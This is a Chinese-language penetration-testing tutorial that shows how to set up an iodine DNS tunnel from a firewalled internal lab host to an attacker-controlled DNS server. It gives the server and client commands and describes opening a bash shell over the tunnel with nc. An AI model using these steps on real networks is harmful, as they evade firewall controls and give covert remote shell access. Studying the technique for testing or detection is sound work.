基于iodine建立DNS隧道

前言

       在某些渗透测试环境下,获得了一个主机的权限但是该主机没有访问外网的权限,对于这种较为严格的网络环境,第一时间想到的就是隧道技术。常见的隧道技术有SSH\DNS\端口转发等,大多数端口都存在被禁用的可能,但是DNS作为基础服务被禁用的可能性却极小,其次使用DNS隧道可以增加通讯的隐蔽性,这里我们就尝试使用DNS协议来建立隧道。

网络拓扑

image
内网主机10.10.10.0/24除了udp/53端口不能主动访问外网任何端口,20.20.20.102模拟为权威服务器,20.20.20.101为dns隧道的server端。

准备工作

DNS隧道分为两种模式:

  • 直连模式:客户端直接连接外网hacker_dns服务器,但部分企业不能访问非受信的DNS服务器,可能会导致连接失败。
  • 中继模式:在权威DNS添加NS记录分配子域名服务器,客户端通过访问权威DNS服务器,权威DNS对hacker_dns服务器进行查询再返回给客户端。
           

这里我们采用中继模式,先新建ns主机的A记录,A记录指向hacker_dns服务器
image
再委派子域解析分配到hacker_dns服务器
image
image
在主机10.10.10.102解析测试ns1.rosetsec.com
image

iodine使用

下载地址:https://code.kryo.se/iodine/

启动服务端:

1
iodined -c -P roset -f 1.1.1.1 iodine.rosetsec.com -DDD
  • -P 隧道密码
  • -c 不检查客户端IP和端口
  • -D 调试信息等级
  • -f 前台执行便于调试
    image

启动客户端:

1
iodine -f -r -P roset iodine.rosetsec.com
  • -r 使用dns主机名来传递数据(默认直接修改DNS7层数据包数据来传递数据)

image
隧道建立完成后,在客户端ping对端隧道地址1.1.1.1可以发现ping包通讯成功绕过防火墙限制
image
可以看到ping包走的DNS协议传输
image
尝试用NC反弹一个shell,在客户端开启端口1234端口反弹一个/bin/bash
image
在服务端连接shell执行命令成功,传输全程走dns协议
image